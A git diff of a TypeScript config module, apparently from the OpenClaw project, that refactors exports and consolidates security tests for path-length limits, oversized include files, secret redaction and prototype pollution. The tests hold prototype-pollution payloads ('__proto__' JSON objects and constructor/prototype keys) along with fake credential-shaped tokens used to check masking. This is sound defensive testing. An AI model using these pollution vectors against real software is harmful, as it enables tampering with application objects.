describe("security: path traversal protection (CWE-22)", () => { }); describe("prototype pollution protection", () => { - it("blocks prototype pollution vectors in shallow and nested merges", () => { - const cases = [ - { - base: {}, - incoming: JSON.parse('{"__proto__":{"polluted":true}}'), - expected: {}, - }, - { - base: { safe: 1 }, - incoming: { prototype: { x: 1 }, constructor: { y: 2 }, normal: 3 }, - expected: { safe: 1, normal: 3 }, - }, - { - base: { nested: { a: 1 } }, - incoming: { nested: JSON.parse('{"__proto__":{"polluted":true}}') }, - expected: { nested: { a: 1 } }, - }, - ] as const; + it("blocks prototype pollution vectors in included and sibling config", () => { + const includePath = configPath("pollution.json"); + const included = JSON.parse( + '{"__proto__":{"polluted":true},"constructor":{"hidden":true},"normal":3}', + ) as Record; + const sibling = JSON.parse('{"__proto__":{"alsoPolluted":true},"safe":1}') as Record< + string, + unknown + >; - for (const { base, incoming, expected } of cases) { - const result = deepMerge(base, incoming); - expect((Object.prototype as Record).polluted).toBeUndefined(); - expect(result).toEqual(expected); - } + const result = resolve( + { $include: "./pollution.json", ...sibling }, + { [includePath]: included }, + ); + + expect((Object.prototype as Record).polluted).toBeUndefined(); + expect((Object.prototype as Record).alsoPolluted).toBeUndefined(); + expect(result).toEqual({ normal: 3, safe: 1 }); }); }); @@ -762,12 +753,12 @@ describe("security: path traversal protection (CWE-22)", () => { } }); - it("rejects include path at or over maximum length (>= MAX_INCLUDE_PATH_LENGTH)", () => { - const overLimit = "a".repeat(MAX_INCLUDE_PATH_LENGTH + 1); - expectResolveIncludeError(() => resolve({ $include: overLimit }, {}), /maximum length/); - // Boundary: length exactly 4096 must be rejected (Linux PATH_MAX includes NUL) - const atLimit = "b".repeat(MAX_INCLUDE_PATH_LENGTH); - expectResolveIncludeError(() => resolve({ $include: atLimit }, {}), /maximum length/); + it("rejects include paths at or over the platform-safe maximum", () => { + expectResolveIncludeError(() => resolve({ $include: "a".repeat(4096) }, {}), /maximum length/); + expectResolveIncludeError( + () => resolve({ $include: "b".repeat(4097) }, {}), + /maximum length/, + ); }); it("accepts include path at or under maximum length when file exists", () => { @@ -861,16 +852,21 @@ describe("security: path traversal protection (CWE-22)", () => { }); }); - it("rejects oversized include files", async () => { + it("rejects include files larger than the guarded read limit", async () => { await withTempDir({ prefix: "openclaw-includes-big-" }, async (tempRoot) => { const configDir = path.join(tempRoot, "config"); await fs.mkdir(configDir, { recursive: true }); - const includePath = path.join(configDir, "big.json5"); - const payload = "a".repeat(MAX_INCLUDE_FILE_BYTES + 1); - await fs.writeFile(includePath, `{"blob":"${payload}"}`, "utf-8"); + await fs.writeFile( + path.join(configDir, "big.json5"), + `{"blob":"${"a".repeat(2 * 1024 * 1024 + 1)}"}`, + "utf-8", + ); expect(() => - resolveConfigIncludes({ $include: "./big.json5" }, path.join(configDir, "openclaw.json")), + resolveConfigIncludes( + { $include: "./big.json5" }, + path.join(configDir, "openclaw.json"), + ), ).toThrow(/security checks|max/i); }); }); diff --git a/src/config/includes.ts b/src/config/includes.ts index ef363b3a0192..79715d493cb5 100644 --- a/src/config/includes.ts +++ b/src/config/includes.ts @@ -23,10 +23,10 @@ import { parseJsonWithJson5Fallback } from "../utils/parse-json-compat.js"; export const INCLUDE_KEY = "$include"; export const MAX_INCLUDE_DEPTH = 10; -export const MAX_INCLUDE_FILE_BYTES = 2 * 1024 * 1024; +const MAX_INCLUDE_FILE_BYTES = 2 * 1024 * 1024; /** Maximum length for $include path and resolved path (CWE-22 hardening). */ -export const MAX_INCLUDE_PATH_LENGTH = 4096; +const MAX_INCLUDE_PATH_LENGTH = 4096; export function hashConfigIncludeRaw(raw: string | null): string { const hash = crypto.createHash("sha256"); @@ -136,7 +136,7 @@ export class CircularIncludeError extends ConfigIncludeError { // ============================================================================ /** Deep merge: arrays concatenate, objects merge recursively, primitives: source wins */ -export function deepMerge(target: unknown, source: unknown): unknown { +function deepMerge(target: unknown, source: unknown): unknown { return mergeDeepValues(target, source, { arrays: "concat", undefinedValues: "replace" }); } diff --git a/src/config/io.audit.test.ts b/src/config/io.audit.test.ts index 04bdc1440b27..cfd7738390ca 100644 --- a/src/config/io.audit.test.ts +++ b/src/config/io.audit.test.ts @@ -9,12 +9,11 @@ import { createConfigWriteAuditRecordBase, finalizeConfigWriteAuditRecord, formatConfigOverwriteLogMessage, - redactConfigAuditArgv, resolveConfigAuditLogPath, scrubConfigAuditLog, } from "./io.audit.js"; -function createAuditRecordBase(configPath: string) { +function createAuditRecordBase(configPath: string, argv?: string[]) { return createConfigWriteAuditRecordBase({ configPath, env: {} as NodeJS.ProcessEnv, @@ -38,6 +37,17 @@ function createAuditRecordBase(configPath: string) { gatewayModeAfter: "local", suspicious: [], now: "2026-04-07T08:00:00.000Z", + ...(argv + ? { + processInfo: { + pid: 101, + ppid: 99, + cwd: "/work", + argv, + execArgv: [], + }, + } + : {}), }); } @@ -235,165 +245,6 @@ describe("config io audit helpers", () => { expect(raw).not.toContain("abcd-efgh-ijkl-mnop"); }); - it("redacts argv values that follow known secret flag names", () => { - const argv = [ - "node", - "openclaw", - "gateway", - "--token", - "super-secret-gateway-token-12345", - "--api-key", - "sk-very-real-looking-openai-api-key-AB12CD34", - "--port", - "8080", - ]; - const result = redactConfigAuditArgv(argv); - expect(result).toEqual([ - "node", - "openclaw", - "gateway", - "--token", - "***", - "--api-key", - "***", - "--port", - "8080", - ]); - }); - - it("redacts the value half of `--flag=value` for secret flags", () => { - const argv = ["openclaw", "--token=ghp_realgithubtoken1234567890ABCD", "--port=8080"]; - expect(redactConfigAuditArgv(argv)).toEqual(["openclaw", "--token=***", "--port=8080"]); - }); - - it("redacts standalone token shapes via the shared logging redaction patterns", () => { - const argv = [ - "node", - "openclaw", - "ghp_realgithubtoken1234567890ABCD", - "AIzaSyD-very-real-looking-google-api-key-123", - "987654321:AAAAAAAAAAAAAAAAAAAAAAAAAAAA", - ]; - const result = redactConfigAuditArgv(argv); - expect(result[0]).toBe("node"); - expect(result[1]).toBe("openclaw"); - for (const masked of result.slice(2)) { - expect(masked).not.toContain("ghp_realgithubtoken"); - expect(masked).not.toContain("AIzaSyD-very-real-looking"); - expect(masked).not.toMatch(/AAAAAAAAAAAAAA/); - } - }); - - it("leaves non-secret arguments untouched", () => { - const argv = ["node", "openclaw", "gateway", "--port", "8080", "--bind", "lan"]; - expect(redactConfigAuditArgv(argv)).toEqual(argv); - }); - - it("redacts unknown but credential-suffixed flags via the heuristic classifier", () => { - const argv = [ - "node", - "openclaw", - "--custom-api-key", - "real-tenant-key-AB12CD34EF56GH78", - "--alibaba-model-studio-api-key=plain-value-xyz-12345", - "--app-token", - "another-secret-value", - "--frobnicate-credential=hidden", - ]; - const result = redactConfigAuditArgv(argv); - expect(result).toEqual([ - "node", - "openclaw", - "--custom-api-key", - "***", - "--alibaba-model-studio-api-key=***", - "--app-token", - "***", - "--frobnicate-credential=***", - ]); - }); - - it("redacts key-valued secret flags (Nostr --private-key, Matrix --recovery-key)", () => { - const argv = [ - "node", - "openclaw", - "channels", - "add", - "--channel", - "nostr", - "--private-key", - "nsec1realnostrprivatekeyvaluexyz1234567890", - "--recovery-key=EsTb-ABCD-1234-EFGH-5678-IJKL-9012-MNOP", - ]; - const result = redactConfigAuditArgv(argv); - expect(result).toEqual([ - "node", - "openclaw", - "channels", - "add", - "--channel", - "nostr", - "--private-key", - "***", - "--recovery-key=***", - ]); - }); - - it("redacts unknown *-key flags via the heuristic classifier (private/signing/master/etc.)", () => { - const argv = [ - "node", - "openclaw", - "--my-plugin-private-key", - "tenant-private-key-material-zzz", - "--rotated-signing-key=PEM-LIKE-MATERIAL", - "--ops-master-key", - "ABCDEF1234567890", - "--secret-key", - "opaque-secret-key", - "--aws-secret-access-key=opaque-aws-secret", - "--openai_api_key", - "opaque-underscore-key", - "--aws_secret_access_key=opaque-underscore-aws-secret", - "--credentials", - "opaque-plural-credential", - "--service-credentials=opaque-inline-plural-credential", - ]; - const result = redactConfigAuditArgv(argv); - expect(result).toEqual([ - "node", - "openclaw", - "--my-plugin-private-key", - "***", - "--rotated-signing-key=***", - "--ops-master-key", - "***", - "--secret-key", - "***", - "--aws-secret-access-key=***", - "--openai_api_key", - "***", - "--aws_secret_access_key=***", - "--credentials", - "***", - "--service-credentials=***", - ]); - }); - - it("masks the next arg after a secret flag even when it looks like another option", () => { - const argv = ["openclaw", "--token", "--port", "8080"]; - expect(redactConfigAuditArgv(argv)).toEqual(["openclaw", "--token", "***", "8080"]); - }); - - it("redacts dash-leading secret values after bare secret flags", () => { - const argv = ["openclaw", "--password", "-secret-value"]; - expect(redactConfigAuditArgv(argv)).toEqual(["openclaw", "--password", "***"]); - }); - - it("does not mask when a secret flag is the final arg with no value", () => { - const argv = ["openclaw", "--token"]; - expect(redactConfigAuditArgv(argv)).toEqual(["openclaw", "--token"]); - }); - it("caps caller-supplied processInfo argv at 8 entries before redaction", () => { const longArgv = [ "node", @@ -478,6 +329,36 @@ describe("config io audit helpers", () => { expect(base.argv).toEqual(["node", "openclaw", "--token", "***"]); }); + it.each([ + { + name: "inline known secret", + argv: ["openclaw", "--token=fake", "--port=8080"], + expected: ["openclaw", "--token=***", "--port=8080"], + }, + { + name: "custom credential suffix", + argv: ["openclaw", "--tenant-credential", "fake", "--bind", "lan"], + expected: ["openclaw", "--tenant-credential", "***", "--bind", "lan"], + }, + { + name: "underscore key suffix", + argv: ["openclaw", "--provider_api_key", "fake"], + expected: ["openclaw", "--provider_api_key", "***"], + }, + { + name: "dash-leading secret value", + argv: ["openclaw", "--password", "-fake"], + expected: ["openclaw", "--password", "***"], + }, + { + name: "secret flag without a value", + argv: ["openclaw", "--token"], + expected: ["openclaw", "--token"], + }, + ])("redacts $name in persisted audit process info", ({ argv, expected }) => { + expect(createAuditRecordBase("/tmp/openclaw.json", argv).argv).toEqual(expected); + }); + it("also accepts flattened audit record params from legacy call sites", async () => { const home = await suiteRootTracker.make("append-flat"); const record = createRenameAuditRecord(home); diff --git a/src/config/io.audit.ts b/src/config/io.audit.ts index c5ce21734c07..ffb49503d886 100644 --- a/src/config/io.audit.ts +++ b/src/config/io.audit.ts @@ -6,7 +6,7 @@ import { redactSensitiveArgv } from "./redact-argv.js"; const CONFIG_AUDIT_ARGV_CAP = 8; -export function redactConfigAuditArgv(argv: readonly string[]): string[] { +function redactConfigAuditArgv(argv: readonly string[]): string[] { return redactSensitiveArgv(argv); } diff --git a/src/config/io.health-state.ts b/src/config/io.health-state.ts index 619a886d7ee8..74450bb959b5 100644 --- a/src/config/io.health-state.ts +++ b/src/config/io.health-state.ts @@ -34,7 +34,7 @@ export type ConfigHealthState = { type ConfigHealthDatabase = Pick; -export type ConfigHealthStateDeps = { +type ConfigHealthStateDeps = { env: NodeJS.ProcessEnv; homedir: () => string; logger: Pick; diff --git a/src/config/io.invalid-config.test.ts b/src/config/io.invalid-config.test.ts index c09c88c0386a..30e6c46faa40 100644 --- a/src/config/io.invalid-config.test.ts +++ b/src/config/io.invalid-config.test.ts @@ -3,9 +3,7 @@ import { describe, expect, it, vi } from "vitest"; import { createInvalidConfigError, formatInvalidConfigDetails, - formatInvalidConfigLogMessage, isInvalidConfigError, - logInvalidConfigOnce, throwInvalidConfig, } from "./io.invalid-config.js"; @@ -28,12 +26,6 @@ describe("config io invalid config formatting", () => { expect(details).toContain("- : root problem"); }); - it("formats the logger message with the escaped newline separator", () => { - expect(formatInvalidConfigLogMessage("/tmp/openclaw.json", "- gateway.port: bad")).toBe( - "Invalid config at /tmp/openclaw.json:\\n- gateway.port: bad", - ); - }); - it("creates INVALID_CONFIG errors with inline details", () => { const err = createInvalidConfigError("/tmp/openclaw.json", "- gateway.port: bad") as Error & { code?: string; @@ -51,40 +43,26 @@ describe("config io invalid config formatting", () => { expect(isInvalidConfigError(new Error(err.message))).toBe(false); }); - it("logs invalid config details only once per path", () => { + it("throws INVALID_CONFIG after logging the formatted details once per path", () => { const logger = { error: vi.fn() }; const loggedConfigPaths = new Set(); - - logInvalidConfigOnce({ - configPath: "/tmp/openclaw.json", - details: "- gateway.port: bad", - logger, - loggedConfigPaths, - }); - logInvalidConfigOnce({ - configPath: "/tmp/openclaw.json", - details: "- gateway.port: worse", - logger, - loggedConfigPaths, - }); - - expect(logger.error).toHaveBeenCalledOnce(); - expect(logger.error).toHaveBeenCalledWith( - "Invalid config at /tmp/openclaw.json:\\n- gateway.port: bad", - ); - }); - - it("throws INVALID_CONFIG after logging the formatted details", () => { - const logger = { error: vi.fn() }; - - expect(() => + const throwInvalid = () => throwInvalidConfig({ configPath: "/tmp/openclaw.json", issues: [{ path: "nope", message: "Unknown key(s): nope" }], logger, - loggedConfigPaths: new Set(), - }), - ).toThrowError("Invalid config at /tmp/openclaw.json:\n- nope: Unknown key(s): nope"); + loggedConfigPaths, + }); + + expect(throwInvalid).toThrowError( + "Invalid config at /tmp/openclaw.json:\n- nope: Unknown key(s): nope", + ); + expect(throwInvalid).toThrowError( + "Invalid config at /tmp/openclaw.json:\n- nope: Unknown key(s): nope", + ); expect(logger.error).toHaveBeenCalledOnce(); + expect(logger.error).toHaveBeenCalledWith( + "Invalid config at /tmp/openclaw.json:\\n- nope: Unknown key(s): nope", + ); }); }); diff --git a/src/config/io.invalid-config.ts b/src/config/io.invalid-config.ts index 53b7ca995626..863be30a5497 100644 --- a/src/config/io.invalid-config.ts +++ b/src/config/io.invalid-config.ts @@ -23,12 +23,12 @@ export function formatInvalidConfigDetails(issues: ConfigValidationIssueLike[]): } /** Builds the one-line invalid-config prefix plus preformatted validation details. */ -export function formatInvalidConfigLogMessage(configPath: string, details: string): string { +function formatInvalidConfigLogMessage(configPath: string, details: string): string { return `Invalid config at ${configPath}:\\n${details}`; } /** Logs an invalid config message once per path during a load sequence. */ -export function logInvalidConfigOnce(params: { +function logInvalidConfigOnce(params: { configPath: string; details: string; logger: Pick; diff --git a/src/config/io.observe-recovery.test.ts b/src/config/io.observe-recovery.test.ts index 1a5fa3cd5f99..7ecc0241d880 100644 --- a/src/config/io.observe-recovery.test.ts +++ b/src/config/io.observe-recovery.test.ts @@ -17,13 +17,16 @@ import { maybeRecoverSuspiciousConfigReadSync, promoteConfigSnapshotToLastKnownGood, recoverConfigFromLastKnownGood, - resolveLastKnownGoodConfigPath, - type ObserveRecoveryDeps, } from "./io.observe-recovery.js"; import type { ConfigFileSnapshot } from "./types.js"; const CONFIG_CLOBBER_SNAPSHOT_LIMIT = 32; type ConfigHealthDatabase = Pick; +type ObserveRecoveryDeps = Parameters[0]["deps"]; + +function resolveLastKnownGoodConfigPath(configPath: string): string { + return `${configPath}.last-good`; +} describe("config observe recovery", () => { let fixtureRoot = ""; diff --git a/src/config/io.observe-recovery.ts b/src/config/io.observe-recovery.ts index 401effce4f01..e6f56eab6e9f 100644 --- a/src/config/io.observe-recovery.ts +++ b/src/config/io.observe-recovery.ts @@ -27,7 +27,7 @@ import { import type { ConfigFileSnapshot } from "./types.openclaw.js"; /** Dependencies injected into config recovery observation for testable filesystem behavior. */ -export type ObserveRecoveryDeps = { +type ObserveRecoveryDeps = { fs: { promises: { stat(path: string): Promise<{ @@ -570,7 +570,7 @@ function readConfigFingerprintForPathSync( } } -export function resolveLastKnownGoodConfigPath(configPath: string): string { +function resolveLastKnownGoodConfigPath(configPath: string): string { return `${configPath}.last-good`; } diff --git a/src/config/io.observe-suspicious.ts b/src/config/io.observe-suspicious.ts index d8f2edd11c66..a7899479dc2e 100644 --- a/src/config/io.observe-suspicious.ts +++ b/src/config/io.observe-suspicious.ts @@ -1,6 +1,6 @@ import { isRecord } from "../utils.js"; -export type ConfigObserveSuspiciousBaseline = { +type ConfigObserveSuspiciousBaseline = { bytes: number; hasMeta: boolean; gatewayMode: string | null; diff --git a/src/config/io.owner-display-secret.test.ts b/src/config/io.owner-display-secret.test.ts index 2ec2555c1892..17e506a0cd90 100644 --- a/src/config/io.owner-display-secret.test.ts +++ b/src/config/io.owner-display-secret.test.ts @@ -1,11 +1,12 @@ // Verifies owner display secrets stay redacted in config IO paths. import { describe, expect, it } from "vitest"; -import { - type OwnerDisplaySecretRuntimeState, - retainGeneratedOwnerDisplaySecret, -} from "./io.owner-display-secret.js"; +import { retainGeneratedOwnerDisplaySecret } from "./io.owner-display-secret.js"; import type { OpenClawConfig } from "./types.openclaw.js"; +type OwnerDisplaySecretRuntimeState = Parameters< + typeof retainGeneratedOwnerDisplaySecret +>[0]["state"]; + function createState(): OwnerDisplaySecretRuntimeState { return { pendingByPath: new Map(), diff --git a/src/config/io.owner-display-secret.ts b/src/config/io.owner-display-secret.ts index e4c67933f7c4..c4417e34763e 100644 --- a/src/config/io.owner-display-secret.ts +++ b/src/config/io.owner-display-secret.ts @@ -5,7 +5,7 @@ import type { OpenClawConfig } from "./types.openclaw.js"; /** Runtime-only owner display secrets keyed by config path during config IO. */ -export type OwnerDisplaySecretRuntimeState = { +type OwnerDisplaySecretRuntimeState = { pendingByPath: Map; }; diff --git a/src/config/io.write-prepare.test.ts b/src/config/io.write-prepare.test.ts index b6f1820f9498..ff30abb216bf 100644 --- a/src/config/io.write-prepare.test.ts +++ b/src/config/io.write-prepare.test.ts @@ -8,7 +8,6 @@ import { restoreEnvRefsFromMap, resolvePersistCandidateForWrite, resolveWriteEnvSnapshotForPath, - unsetPathForWrite, } from "./io.write-prepare.js"; import type { OpenClawConfig } from "./types.js"; @@ -504,6 +503,46 @@ describe("config io write prepare", () => { expect(persisted.agents?.defaults?.models?.["openai/gpt-5.4"]).not.toHaveProperty("params"); }); + it("applies explicit unsets without mutating caller config", () => { + const input: OpenClawConfig = { + gateway: { mode: "local" }, + commands: { ownerDisplay: "hash" }, + tools: { alsoAllow: ["exec", "fetch", "read"] }, + }; + + const next = applyUnsetPathsForWrite(input, [ + ["commands", "ownerDisplay"], + ["tools", "alsoAllow", "1"], + ]); + + expect(input).toEqual({ + gateway: { mode: "local" }, + commands: { ownerDisplay: "hash" }, + tools: { alsoAllow: ["exec", "fetch", "read"] }, + }); + expect(next.commands ?? {}).not.toHaveProperty("ownerDisplay"); + expect(next.tools?.alsoAllow).toEqual(["exec", "read"]); + }); + + it.each([ + ["invalid array suffix", ["tools", "alsoAllow", "1abc"]], + ["signed array index", ["tools", "alsoAllow", "+0"]], + ["unsafe integer", ["tools", "alsoAllow", "9007199254740993"]], + ["maximum array key", ["tools", "alsoAllow", "4294967294"]], + ["missing key", ["commands", "missingKey"]], + ["prototype key", ["commands", "__proto__"]], + ["constructor key", ["commands", "constructor"]], + ["prototype constructor property", ["commands", "prototype"]], + ] as const)("treats %s unset paths as immutable no-ops", (_name, unsetPath) => { + const input: OpenClawConfig = { + gateway: { mode: "local" }, + commands: { ownerDisplay: "hash" }, + tools: { alsoAllow: ["exec", "fetch"] }, + }; + + expect(applyUnsetPathsForWrite(input, [[...unsetPath]])).toBe(input); + }); + it("preserves untouched include-owned subtrees during unrelated writes", () => { const persisted = resolvePersistCandidateForWrite({ runtimeConfig: { @@ -822,105 +861,6 @@ describe("config io write prepare", () => { expect(message).toContain('openclaw config set channels.telegram.dmPolicy "pairing"'); }); - it("unsets explicit paths when runtime defaults would otherwise reappear", () => { - const next = unsetPathForWrite( - { - gateway: { auth: { mode: "none" } }, - commands: { ownerDisplay: "hash" }, - }, - ["commands", "ownerDisplay"], - ); - - expect(next.changed).toBe(true); - expect(next.next.commands ?? {}).not.toHaveProperty("ownerDisplay"); - }); - - it("does not mutate caller config when unsetting existing config objects", () => { - const input: OpenClawConfig = { - gateway: { mode: "local" }, - commands: { ownerDisplay: "hash" }, - } satisfies OpenClawConfig; - - const next = unsetPathForWrite(input, ["commands", "ownerDisplay"]); - - expect(input).toEqual({ - gateway: { mode: "local" }, - commands: { ownerDisplay: "hash" }, - }); - expect(next.next.commands ?? {}).not.toHaveProperty("ownerDisplay"); - }); - - it("keeps caller arrays immutable when unsetting array entries", () => { - const input: OpenClawConfig = { - gateway: { mode: "local" }, - tools: { alsoAllow: ["exec", "fetch", "read"] }, - } satisfies OpenClawConfig; - - const next = unsetPathForWrite(input, ["tools", "alsoAllow", "1"]); - - expect(input.tools!.alsoAllow).toEqual(["exec", "fetch", "read"]); - expect((next.next.tools as { alsoAllow?: string[] } | undefined)?.alsoAllow).toEqual([ - "exec", - "read", - ]); - }); - - it("treats invalid array-index unset paths as no-ops", () => { - const input: OpenClawConfig = { - gateway: { mode: "local" }, - tools: { alsoAllow: ["exec", "fetch"] }, - } satisfies OpenClawConfig; - - for (const path of [ - ["tools", "alsoAllow", "1abc"], - ["tools", "alsoAllow", "+0"], - ["tools", "alsoAllow", "9007199254740993"], - ["tools", "alsoAllow", "4294967294"], - ]) { - const next = unsetPathForWrite(input, path); - expect(next.changed).toBe(false); - expect(next.next).toBe(input); - } - }); - - it("treats missing unset paths as no-op without mutating caller config", () => { - const input: OpenClawConfig = { - gateway: { mode: "local" }, - commands: { ownerDisplay: "hash" }, - } satisfies OpenClawConfig; - - const next = unsetPathForWrite(input, ["commands", "missingKey"]); - - expect(next.changed).toBe(false); - expect(next.next).toBe(input); - expect(input).toEqual({ - gateway: { mode: "local" }, - commands: { ownerDisplay: "hash" }, - }); - }); - - it("ignores blocked prototype-key unset path segments", () => { - const input: OpenClawConfig = { - gateway: { mode: "local" }, - commands: { ownerDisplay: "hash" }, - } satisfies OpenClawConfig; - - const blocked = [ - ["commands", "__proto__"], - ["commands", "constructor"], - ["commands", "prototype"], - ].map((segments) => unsetPathForWrite(input, segments)); - - for (const result of blocked) { - expect(result.changed).toBe(false); - expect(result.next).toBe(input); - } - expect(input).toEqual({ - gateway: { mode: "local" }, - commands: { ownerDisplay: "hash" }, - }); - }); - it("preserves env refs on unchanged paths while keeping changed paths resolved", () => { const changedPaths = new Set(); collectChangedPaths( diff --git a/src/config/io.write-prepare.ts b/src/config/io.write-prepare.ts index 1e00f33570bc..0c4aee51962d 100644 --- a/src/config/io.write-prepare.ts +++ b/src/config/io.write-prepare.ts @@ -1082,7 +1082,7 @@ function unsetPathForWriteAt( }; } -export function unsetPathForWrite( +function unsetPathForWrite( root: OpenClawConfig, pathSegments: string[], ): { changed: boolean; next: OpenClawConfig } { diff --git a/src/config/issue-format.test.ts b/src/config/issue-format.test.ts index 505be209fa45..d46ee8ab3be0 100644 --- a/src/config/issue-format.test.ts +++ b/src/config/issue-format.test.ts @@ -4,19 +4,10 @@ import { formatConfigIssueLine, formatConfigIssueLines, formatConfigIssueSummary, - normalizeConfigIssue, - normalizeConfigIssuePath, normalizeConfigIssues, } from "./issue-format.js"; describe("config issue format", () => { - it("normalizes empty paths to ", () => { - expect(normalizeConfigIssuePath("")).toBe(""); - expect(normalizeConfigIssuePath(" ")).toBe(""); - expect(normalizeConfigIssuePath(null)).toBe(""); - expect(normalizeConfigIssuePath(undefined)).toBe(""); - }); - it("formats issue lines with and without markers", () => { expect(formatConfigIssueLine({ path: "", message: "broken" }, "-")).toBe("- : broken"); expect( @@ -63,20 +54,7 @@ describe("config issue format", () => { ).toBe(": root broken; gateway.auth.password.source: Required; and 1 more"); }); - it("normalizes issue metadata for machine output", () => { - expect( - normalizeConfigIssue({ - path: "", - message: "invalid", - allowedValues: ["stable", "beta"], - allowedValuesHiddenCount: 0, - }), - ).toEqual({ - path: "", - message: "invalid", - allowedValues: ["stable", "beta"], - }); - + it("normalizes issue collections for machine output", () => { expect( normalizeConfigIssues([ { @@ -86,25 +64,6 @@ describe("config issue format", () => { allowedValuesHiddenCount: 2, }, ]), - ).toEqual([ - { - path: "update.channel", - message: "invalid", - }, - ]); - - expect( - normalizeConfigIssue({ - path: "update.channel", - message: "invalid", - allowedValues: ["stable"], - allowedValuesHiddenCount: 2, - }), - ).toEqual({ - path: "update.channel", - message: "invalid", - allowedValues: ["stable"], - allowedValuesHiddenCount: 2, - }); + ).toEqual([{ path: "update.channel", message: "invalid" }]); }); }); diff --git a/src/config/issue-format.ts b/src/config/issue-format.ts index 72820f1b8758..719af82bb24b 100644 --- a/src/config/issue-format.ts +++ b/src/config/issue-format.ts @@ -16,7 +16,7 @@ type ConfigIssueSummaryOptions = ConfigIssueFormatOptions & { }; /** Normalize missing or blank config issue paths to the root marker used in CLI output. */ -export function normalizeConfigIssuePath(path: string | null | undefined): string { +function normalizeConfigIssuePath(path: string | null | undefined): string { if (typeof path !== "string") { return ""; } @@ -25,7 +25,7 @@ export function normalizeConfigIssuePath(path: string | null | undefined): strin } /** Return the public config issue shape with a normalized path and non-empty allowed values. */ -export function normalizeConfigIssue(issue: ConfigValidationIssue): ConfigValidationIssue { +function normalizeConfigIssue(issue: ConfigValidationIssue): ConfigValidationIssue { const hasAllowedValues = Array.isArray(issue.allowedValues) && issue.allowedValues.length > 0; return { path: normalizeConfigIssuePath(issue.path), diff --git a/src/config/markdown-tables.ts b/src/config/markdown-tables.ts index 129f975d926b..59e53346cb6c 100644 --- a/src/config/markdown-tables.ts +++ b/src/config/markdown-tables.ts @@ -63,11 +63,6 @@ function resolveMarkdownModeFromSection( return isMarkdownTableMode(sectionMode) ? sectionMode : undefined; } -export type { - ResolveMarkdownTableMode, - ResolveMarkdownTableModeParams, -} from "./markdown-tables.types.js"; - export function resolveMarkdownTableMode( params: ResolveMarkdownTableModeParams, ): MarkdownTableMode { diff --git a/src/config/media-audio-field-metadata.ts b/src/config/media-audio-field-metadata.ts index 4d0e475ab0e3..a981fcc0772d 100644 --- a/src/config/media-audio-field-metadata.ts +++ b/src/config/media-audio-field-metadata.ts @@ -1,5 +1,5 @@ /** Config paths with user-facing metadata for audio understanding settings. */ -export const MEDIA_AUDIO_FIELD_KEYS = [ +const MEDIA_AUDIO_FIELD_KEYS = [ "tools.media.audio.enabled", "tools.media.audio.maxBytes", "tools.media.audio.maxChars", diff --git a/src/config/mutate.ts b/src/config/mutate.ts index 8266ff2745ad..d9e5d460b75c 100644 --- a/src/config/mutate.ts +++ b/src/config/mutate.ts @@ -43,6 +43,7 @@ import { resolveWriteEnvSnapshotForPath, } from "./io.write-prepare.js"; import { ConfigMutationConflictError } from "./mutation-conflict.js"; +import type { ConfigMutationBase } from "./mutation-types.js"; import { assertConfigWriteAllowedInCurrentMode } from "./nix-mode-write-guard.js"; import { resolveConfigPath } from "./paths.js"; import { @@ -64,9 +65,6 @@ import { import type { ConfigFileSnapshot, OpenClawConfig } from "./types.js"; import { validateConfigObjectWithPlugins } from "./validation.js"; -/** Selects whether a mutation starts from runtime or source config shape. */ -export type ConfigMutationBase = "runtime" | "source"; - const CONFIG_MUTATION_LOCK_OPTIONS = { retries: { retries: 80, diff --git a/src/config/mutation-types.ts b/src/config/mutation-types.ts new file mode 100644 index 000000000000..94b859e75664 --- /dev/null +++ b/src/config/mutation-types.ts @@ -0,0 +1,2 @@ +/** Selects whether a mutation starts from runtime or source config shape. */ +export type ConfigMutationBase = "runtime" | "source"; diff --git a/src/config/patch-replace-paths.ts b/src/config/patch-replace-paths.ts index 4b4115941672..056380459a8b 100644 --- a/src/config/patch-replace-paths.ts +++ b/src/config/patch-replace-paths.ts @@ -1,5 +1,5 @@ // Normalizes config.patch replacePaths shared by Gateway and agent preflight checks. -export function normalizeConfigPatchReplacePath(value: string): string { +function normalizeConfigPatchReplacePath(value: string): string { const trimmed = value.trim(); if (trimmed.endsWith("[]")) { return trimmed.slice(0, -2).replace(/\[\d+\](?=\.)/g, "[]"); diff --git a/src/config/plugin-auto-enable.shared.ts b/src/config/plugin-auto-enable.shared.ts index 58a12e76ac67..6da0d96e1643 100644 --- a/src/config/plugin-auto-enable.shared.ts +++ b/src/config/plugin-auto-enable.shared.ts @@ -36,10 +36,6 @@ import type { } from "./plugin-auto-enable.types.js"; import { ensurePluginAllowlisted } from "./plugins-allowlist.js"; import type { OpenClawConfig } from "./types.openclaw.js"; -export type { - PluginAutoEnableCandidate, - PluginAutoEnableResult, -} from "./plugin-auto-enable.types.js"; const EMPTY_PLUGIN_MANIFEST_REGISTRY: PluginManifestRegistry = { plugins: [], diff --git a/src/config/redact-snapshot.restore.test.ts b/src/config/redact-snapshot.restore.test.ts index b28b14144486..b099775583b1 100644 --- a/src/config/redact-snapshot.restore.test.ts +++ b/src/config/redact-snapshot.restore.test.ts @@ -3,13 +3,13 @@ import { expectDefined } from "@openclaw/normalization-core"; import { describe, expect, it } from "vitest"; import { redactSnapshotTestHints as mainSchemaHints } from "../../test/helpers/config/redact-snapshot-test-hints.js"; +import type { ConfigUiHints } from "../shared/config-ui-hints-types.js"; import { REDACTED_SENTINEL, redactConfigSnapshot, restoreRedactedValues as restoreRedactedValues_orig, } from "./redact-snapshot.js"; import { makeSnapshot, restoreRedactedValues } from "./redact-snapshot.test-helpers.js"; -import type { ConfigUiHints } from "./schema.js"; describe("restoreRedactedValues", () => { it("restores redacted URL endpoint fields on round-trip", () => { diff --git a/src/config/redact-snapshot.test-helpers.ts b/src/config/redact-snapshot.test-helpers.ts index bfd8362d4fae..e12994b20e89 100644 --- a/src/config/redact-snapshot.test-helpers.ts +++ b/src/config/redact-snapshot.test-helpers.ts @@ -1,9 +1,10 @@ // Provides assertions for redacted snapshot tests. import { expect } from "vitest"; import { restoreRedactedValues as restoreRedactedValues_orig } from "./redact-snapshot.js"; -import type { ConfigUiHints } from "./schema.js"; import type { ConfigFileSnapshot } from "./types.openclaw.js"; +type ConfigUiHints = NonNullable[2]>; + /** Complete snapshot shape used by redaction tests. */ export type TestSnapshot> = ConfigFileSnapshot & { parsed: TConfig; diff --git a/src/config/redact-snapshot.test.ts b/src/config/redact-snapshot.test.ts index dc7483c32fa2..760ceb161712 100644 --- a/src/config/redact-snapshot.test.ts +++ b/src/config/redact-snapshot.test.ts @@ -4,6 +4,7 @@ import { expectDefined } from "@openclaw/normalization-core"; import JSON5 from "json5"; import { describe, expect, it } from "vitest"; import { 